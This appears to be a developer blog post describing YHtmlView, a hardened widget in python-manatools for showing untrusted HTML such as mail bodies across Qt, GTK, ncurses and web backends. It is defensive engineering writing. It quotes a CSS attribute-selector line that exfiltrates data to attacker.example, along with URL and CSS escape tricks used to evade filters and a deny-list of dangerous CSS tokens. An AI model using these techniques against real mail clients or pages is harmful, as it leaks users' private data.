The widget that was missing
python-manatools is the Python library behind Mageia's configuration tools. Its core idea comes
from libyui: you describe a dialog once — a VBox, a PushButton, a ComboBox — and a backend
turns it into Qt, GTK, ncurses or, more recently, a page served to a browser. Application code
never imports a toolkit.
It already had YRichText, which takes a string of HTML-ish markup and shows it. That widget is
fine for what it was designed for: help text and descriptions written by the same people who
wrote the application. It hands the markup to the toolkit more or less as given — a
QTextBrowser on Qt, a Pango label on GTK, a small parser on ncurses — and reports a clicked
link as a menu event whose id is the URL.
That model breaks the moment the HTML comes from somebody else. A mail body. A newsletter. Release notes fetched from a project page. Content written by a stranger, possibly a hostile one, and usually by a marketing tool that assumes a real browser. For that, there was nothing: no class, no factory method, no module on any backend.
So I added one. YHtmlView is a read-only view for untrusted HTML. It lives on the htmlview
branch, and the pull request to main is the next step. This post is about the one design
decision that made a four-backend security widget manageable, and about the things each engine
taught me along the way.
The decision: trust no engine
The tempting design is per-backend: QtWebEngine has a request interceptor, WebKitGTK has policy
decisions, a browser has iframe sandbox — let each backend use its engine's tools.
The problem is that two of the four backends have no engine. ncurses renders text. And both Qt
and GTK need a fallback for systems where the web engine isn't installed — a QTextBrowser, a
Gtk.Label. A design where the security lives in the engine is a design where the fallback
path, the one nobody tests, has none.
The commit that started the branch says it in one line:
YHtmlView shows untrusted HTML such as mail bodies, so hardening must not depend on the rendering engine.
So the work splits into two layers that do not trust each other:
- A sanitizer in the shared AUI layer, which every backend calls before anything reaches a toolkit. One implementation, one test suite, one place to fix.
- Every engine locked down as if the sanitizer did not exist. JavaScript off, network intercepted, navigation refused. If the sanitizer has a bug — and a sanitizer written against the whole of real-world HTML will — the engine still holds.
Neither layer is the "real" one. That is the point.
The application-facing API
From the application's side, the widget is small:
view = factory.createHtmlView(vbox)
view.setCidResolver(lambda cid: parts.get(cid)) # {cid: (bytes, "image/png")}
view.setHtml(message_html)
...
ev = dlg.waitForEvent()
if ev.eventType() == yui.YEventType.WidgetEvent and ev.widget() == view:
open_externally(view.lastActivatedUrl()) # the app decides, never the view
A few choices are visible in those lines.
Links are reported, never followed. A click posts a YWidgetEvent with reason Activated,
and the application reads the original URL back with lastActivatedUrl(). The view never
navigates anywhere. Whether a link opens in a browser, gets a confirmation prompt or is ignored
is the application's decision.
Remote content is off by default. setAllowRemote(True) opts in, and
remoteContentBlocked() tells the application how many remote resources were held back, so it
can offer the familiar "show remote images" button. A tracking pixel never fires unless someone
asks for it.
Embedded images go through a resolver. Mail messages reference their attachments as
cid: URLs. setCidResolver() takes a callable that maps a content id to (bytes, mime) — the
view never touches the filesystem or the MIME parser.
Relative URLs have an explicit policy. YHtmlBasePolicy.NoBase, the default, ignores
<base href> entirely: relative links are reported verbatim and relative resources never load.
DocumentBase resolves against the document's own <base>, http and https only, and the
resolved images still obey the remote rule. Release notes want the second; mail wants the first.
The sanitizer
manatools/aui/yui_html.py is about 800 lines of standard library: html.parser.HTMLParser,
html.escape, re, base64 and urllib.parse. No bleach, no lxml, no new dependency for a
library that distributions package. It also deliberately imports nothing from manatools itself,
so every backend can use it without an import cycle.
It is an allow-list rewriter, not a filter. It does not look for bad things and remove them; it rebuilds a new document out of the things it recognises as safe.
Elements
There are three outcomes for a tag:
- Dropped with its content:
script,iframe,object,svg,math,canvas,audio,video,template,noscriptand similar. Nothing inside them survives. - Dropped as void elements:
input,meta,link,embed,frame,source, … — this is where<meta http-equiv="refresh">goes. - Unwrapped: anything not on the allow-list loses the element but keeps its text. A
<form><button>Go</button></form>becomes the word "Go". This matters for mail, where a lot of meaningful text sits inside markup nobody needs.
Around eighty formatting, structural and table tags are allowed. <body> becomes a <div> with
its bgcolor and text attributes folded into CSS; <html>, <head>, comments, doctypes and
CDATA disappear.
Links
Every href that survives is replaced. The document only ever contains opaque, numbered link
targets; the real URLs go into a side list:
# Opaque link targets point at a reserved domain (RFC 2606 ``.invalid`` never
# resolves), so an engine that somehow followed one would go nowhere.
DOC_BASE_URL = "https://mana-htmlview.invalid/"
LINK_PREFIX = DOC_BASE_URL + "link/"
.invalid is reserved by RFC 2606 to never resolve. If some engine path I didn't anticipate
does follow a link, it goes to a name that cannot exist. Backends map LINK_PREFIX + "7" back
to link 7 and report it.
Before a scheme is checked, control characters and whitespace are stripped out of the URL:
_URL_JUNK_RE = re.compile(r"[\x00-\x20\x7f]+")
Browsers ignore those bytes when they parse a scheme, so java\nscript: is javascript: to an
engine and has to be javascript: to the sanitizer too. Only http, https, mailto, ftp,
tel and news survive. target and ping are dropped.
And one small kindness, because mail links lie about their targets constantly:
# Show the real destination on hover: mail links lie about it often.
The original URL becomes the link's title, so hovering shows where it really goes, whatever
the link text claims.
Images
data: URIs are accepted only for raster types — PNG, JPEG, GIF, WebP, BMP — and never SVG,
which is a scripting language with a picture attached. cid: goes through the resolver with the
same MIME rule, size caps and a per-id cache. http(s) loads only when remote content is
allowed, and is counted otherwise. file: and everything else is dropped.
CSS
This is the part that took the longest. Mail HTML is almost entirely inline styles, so stripping CSS is not an option, and CSS is a surprisingly capable exfiltration channel. The classic example is an attribute selector that requests a different background URL per character:
input[value^="a"] { background: url(https://attacker.example/a) }
style attributes and <style> blocks are kept, but every declaration is checked. The rejected
set includes expression(, javascript:, @import, image-set(, behavior, -moz-binding —
and any backslash, because CSS escapes let you write url( as u\72l(. Every url() goes
through the image rules above, and the cleanup ends with a rule I'm fond of:
A
url(left over once the vetted ones are removed is malformed or obfuscated: drop the whole declaration.
At-rules are mostly dropped. @media and @supports survive, recursing to a bounded depth;
@font-face, @keyframes and @page do not.
Limits
Hostile input does not have to be clever to be a problem. It can just be big, or deep. The
sanitizer caps input at 8 MiB, nesting at 256 levels, links at 10,000, inline images at 8 MiB
each and 32 MiB in total. The test suite includes 5,000 nested divs and a 4,000-row table, each
with a time budget.
Failure
sanitize_html() never raises. If the parser itself throws, the fallback is not "return what we have"
but "escape everything":
# HTMLParser is lenient, but never let a parser bug leak raw input.
body = _html.escape(text, quote=False)
The worst case is a page of visible markup, never a page of live markup.
The output is a complete document with its own Content-Security-Policy meta tag —
default-src 'none', images only from data: (plus http:/https: when allowed), inline styles
only, base-uri 'none', form-action 'none' — and referrer set to no-referrer. That CSP is
the first piece of the second layer: it holds in any engine that honours it, sanitizer or not.
Qt: QtWebEngine, with QTextBrowser behind it
The Qt backend imports QtWebEngine lazily and falls back to QTextBrowser if the import or the
view construction fails. The engine view runs in an off-the-record profile with no cache and no
persistent cookies. A request interceptor allows data: and about:, plus http(s) images when
remote content is on, and blocks everything else. Navigation is refused unless it is the view's
own setHtml() load; a link click is turned into a report instead:
if nav_type == QtWebEngineCore.QWebEnginePage.NavigationType.NavigationTypeLinkClicked:
owner = self._owner()
if owner is not None:
owner._on_link(url.toString())
return False
# Only our own setHtml() load (a data: URL) may proceed.
return url.scheme().lower() in ("data", "about")
JavaScript, clipboard access, local-file access, plugins, the PDF viewer, WebGL, local storage,
hyperlink auditing and DNS prefetch are all switched off — each looked up with getattr, so an
older PySide6 without one of those attributes doesn't break the widget. createWindow returns
nothing, and there is no context menu.
Two things surprised me.
setHtml() has a size limit. It goes through a data: URL, and that is capped at 2 MB:
# QWebEngineView.setHtml() goes through a data: URL capped at 2 MB.
_SETHTML_LIMIT = 2 * 1024 * 1024 - 4096
Qt documents that content above that size cannot be displayed, and a newsletter with inline images can get there. Documents over the limit now degrade to the text rendering with a logged warning, rather than to a blank widget.
Lazy loading QtWebEngine has a precondition. It refuses to initialise late unless
AA_ShareOpenGLContexts was set before the QApplication existed. So the Qt backend's
application setup now sets that attribute up front — a one-line change in a file that has nothing
to do with HTML, and without which the widget simply doesn't load.
The QTextBrowser fallback overrides loadResource so it decodes inline base64 images and
nothing else — no files, no network — and turns off its own link following.
On Mageia, verifying the real engine path also turned up a packaging lesson: the distribution
splits PySide6's web engine into python3-pyside6-webenginewidgets, which in turn needs the
network, webchannel and printsupport sub-packages. The pip wheel ships all of that in one;
on the distribution the missing pieces only showed up once I exercised the real engine.
GTK: WebKitGTK 6.0, with a label behind it
The GTK backend is GTK 4, so it uses WebKitGTK 6.0 — the older WebKit2 4.x bindings target
GTK 3 and are not an option. It runs in an ephemeral network session. JavaScript, JS markup,
clipboard, WebGL, WebAudio, media, HTML5 storage, the page cache, developer extras, DNS prefetch
and file-URL access are all turned off, each inside its own try, because "property absent in
this WebKit version" means there is nothing to disable.
decide-policy inspects both navigation and new-window actions. A link click, or anything
pointing at the opaque link prefix, is reported and ignored; only the initial about:blank load
of the document is allowed in the main frame.
Testing against the real engine found two things the code review hadn't:
enable-hyperlink-auditingis deprecated in WebKitGTK 6.0. It came out of the settings list.- A
WebViewhas no natural height. In a layout that doesn't expand it, it collapses to nothing — the widget is there, it is just zero pixels tall:
# A WebView has no natural height: keep it visible in layouts that
# do not expand it (the label fallback gets the same minimum).
view.set_size_request(-1, _MIN_HEIGHT)
The fallback is a selectable, wrapping Gtk.Label inside a ScrolledWindow, fed Pango markup
generated from the sanitized document. Its activate-link handler returns True, which means
"handled — GTK, do not open this URI yourself". If set_markup ever rejects the markup, it falls
back to plain text.
ncurses: HTML as navigable text
The terminal backend has no engine at all, which is exactly why the sanitizer also produces a
text model: styled runs with bold, italic, underline and link indexes. Lists become • and
1. , quotes become > , table cells are joined with |, <hr> is a rule of box-drawing
characters, <pre> stays verbatim, images become [alt].
YHtmlViewCurses reuses the existing YRichTextCurses machinery for scrolling and link
highlighting through multiple inheritance, which needed one careful line. Both parents define
setValue, and they mean different things — on YHtmlViewBase it is an alias for setHtml(),
on YRichTextCurses it is "draw this markup":
# bypassing YHtmlViewBase.setValue() which means setHtml() here.
So the backend calls YRichTextCurses.setValue(self, ...) explicitly. Arrow keys move between
links as in YRichText; Enter reports the armed link as a YWidgetEvent instead of the
YMenuEvent its parent would send.
Web: a sandboxed iframe that has to defend itself
The web backend serves a manatools dialog as a page to a local browser. The obvious move is to inline the sanitized HTML into that page. It is also the wrong one: the document would then share an origin with the dialog, its controls and its WebSocket.
Instead the widget renders an <iframe sandbox=""> — empty sandbox, so no scripts, no forms, no
same-origin, no top navigation — whose src is /htmlview/<token>. The content is never part of
the dialog page; the headless test checks exactly that. The token is
secrets.token_urlsafe(24), registered in a weakref.WeakValueDictionary, so a destroyed
dialog's widget isn't kept alive by a URL someone might still hold. Changing the content rotates
the token, which kills the old document and its old links.
The interesting part is the server side. The dialog's own endpoints are protected by an Origin
check. But a sandboxed frame has an opaque origin and runs no script; its requests are plain
GETs. An Origin check cannot be the only guard. The /htmlview route stacks four:
- The path must match a strict pattern — token, optionally
/link/<n>— or it is a 404. - The
Hostmust be local (the DNS-rebinding guard the rest of the server already used), and anyOriginsent must be local, or it is a 403. - If the browser sends
Sec-Fetch-Dest, it must beiframe. A page that tries to pull the document in as an image, a script or a top-level navigation gets a 403. - The token must be live, or it is a 404.
Link clicks are served by the same route: /htmlview/<token>/link/7 records the activation and
answers 204 No Content, which leaves the frame exactly where it was. The click reaches the
application as an event; the frame never navigates.
Each document gets its own CSP header on top of the meta tag, including frame-ancestors 'self'
and a sandbox directive — so even a direct visit to the URL runs in a sandbox. That needed the
server's security-header helper refactored to accept per-route overrides, since the rest of the
app sends frame-ancestors 'none' and X-Frame-Options: DENY, which would block the frame
outright.
And one detail no threat model would produce: mail HTML assumes a white page. In a browser in
dark mode, the frame inherits a dark background and the mail's black text vanishes. The frame now
forces a light background and the document declares color-scheme: light.
Testing the second layer on its own
The sanitizer test suite is headless and fast: active content, links, remote and cid: images,
CSS tricks, structure and limits, text rendering. java\nscript:, u\72l(, a style block that
tries to break out of itself, the nesting bomb and the giant table are all in there.
The web test talks to the real server without a browser, and checks the sandbox attribute, the
CSP, refusal of a foreign Host or Origin, Sec-Fetch-Dest: image, unknown tokens, a
../server.py path, token rotation, and the CSP changing when remote content is allowed.
The GTK test needs a display but no interaction; it drives the GLib main loop by hand. On the WebKit path it checks that the engine received a document byte-identical to the sanitizer's output, that page JavaScript didn't run, and — with a tiny counting HTTP server serving a 1×1 GIF — that the remote image is not requested until it is allowed.
The test I care most about is this one:
Sanitizer bypassed: the engine settings and the CSP alone must hold.
It loads raw, unsanitized HTML with a script and a remote image straight into the WebView,
skipping the sanitizer entirely, and asserts that nothing runs and nothing loads. That is the
two-layer design as an executable claim. If someone later "simplifies" the engine settings
because the sanitizer already handles it, this test fails.
There is also a demo, test/test_htmlview.py, which runs on any backend and switches between a
newsletter with cid: images and a held-back remote hero image, a quoted conversation, release
notes using DocumentBase, a deliberately hostile sample and a 1,000-row table. Its docstring is
the whole specification in one sentence: no script runs, nothing remote loads until the checkbox
is ticked, links never navigate and are reported instead.
What I'd tell someone doing the same
- Put the hardening where every backend passes through it. The fallbacks are where security quietly disappears, because nobody runs them.
- Then harden every engine as if that layer did not exist — and write a test that bypasses the sanitizer to prove it.
- Rewrite from an allow-list; don't filter a deny-list. Unwrapping unknown tags keeps the text and loses the risk.
- Normalise URLs the way the engine will before deciding what they are.
java\nscript:isjavascript:. - Treat CSS as code. Escapes,
url()and attribute selectors are enough to exfiltrate. - Never follow links from the view. Report them and let the application decide.
- Cap everything. Size, depth, links, image bytes — and fail closed, to escaped text.
- Test against the real engine. The 2 MB
setHtml()limit, the zero-heightWebView, the deprecated WebKit setting and the split distribution packages were all invisible in review.
YHtmlView is on the htmlview branch of
python-manatools, with the pull request to
main to follow. QtWebEngine and WebKitGTK 6.0 are optional at runtime: without them, Qt and
GTK fall back to their text renderers, and ncurses and the web backend need nothing extra.